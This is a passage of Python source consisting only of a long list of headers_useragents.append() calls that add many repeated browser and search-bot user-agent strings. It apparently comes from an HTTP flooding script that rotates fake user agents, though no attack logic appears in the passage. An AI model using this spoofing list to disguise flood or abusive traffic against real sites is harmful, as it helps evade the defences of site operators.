  1010.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1011.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1012.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1013.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1014.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1015.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1016.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1017.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1018.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1019.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1020.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1021.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1022.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1023.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1024.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1025.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1026.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1027.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1028.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1029.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1030.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1031.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1032.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1033.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1034.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1035.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1036.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1037.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1038.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1039.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1040.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1041.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1042.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1043.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1044.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1045.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1046.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1047.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1048.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1049.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1050.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1051.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1052.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1053.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1054.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1055.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1056.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1057.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1058.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1059.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1060.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1061.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1062.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1063.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1064.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1065.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1066.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1067.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1068.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1069.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1070.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1071.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1072.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1073.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1074.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1075.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1076.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1077.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1078.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1079.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1080.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1081.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1082.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1083.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1084.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1085.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1086.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1087.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1088.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1089.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1090.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1091.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1092.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1093.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1094.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1095.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1096.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1097.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1098.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1099.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1100.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1101.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1102.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1103.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1104.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1105.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1106.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1108.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1109.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1110.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1111.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1112.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1113.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1114.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1115.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1116.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1117.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1118.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1119.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1120.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1121.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1122.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1123.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1124.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1125.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1126.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1127.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1128.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1129.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1130.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1131.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1132.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1133.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1134.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1135.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1136.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1137.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1138.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1139.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1140.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1141.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1142.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1143.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1144.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1145.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1146.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1147.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1148.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1149.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1150.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1151.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1152.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1153.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1154.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1155.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1156.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1157.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1158.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1159.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1160.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1161.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1162.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1163.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1164.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1165.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1166.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1167.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1168.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1169.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1170.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1171.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1172.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1173.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1174.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1175.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1176.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1177.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1179.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1180.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1181.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1182.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1183.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1184.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1185.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1186.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1187.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1188.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1189.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1190.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1192.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1193.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1194.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1195.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1196.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1197.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1199.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1200.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
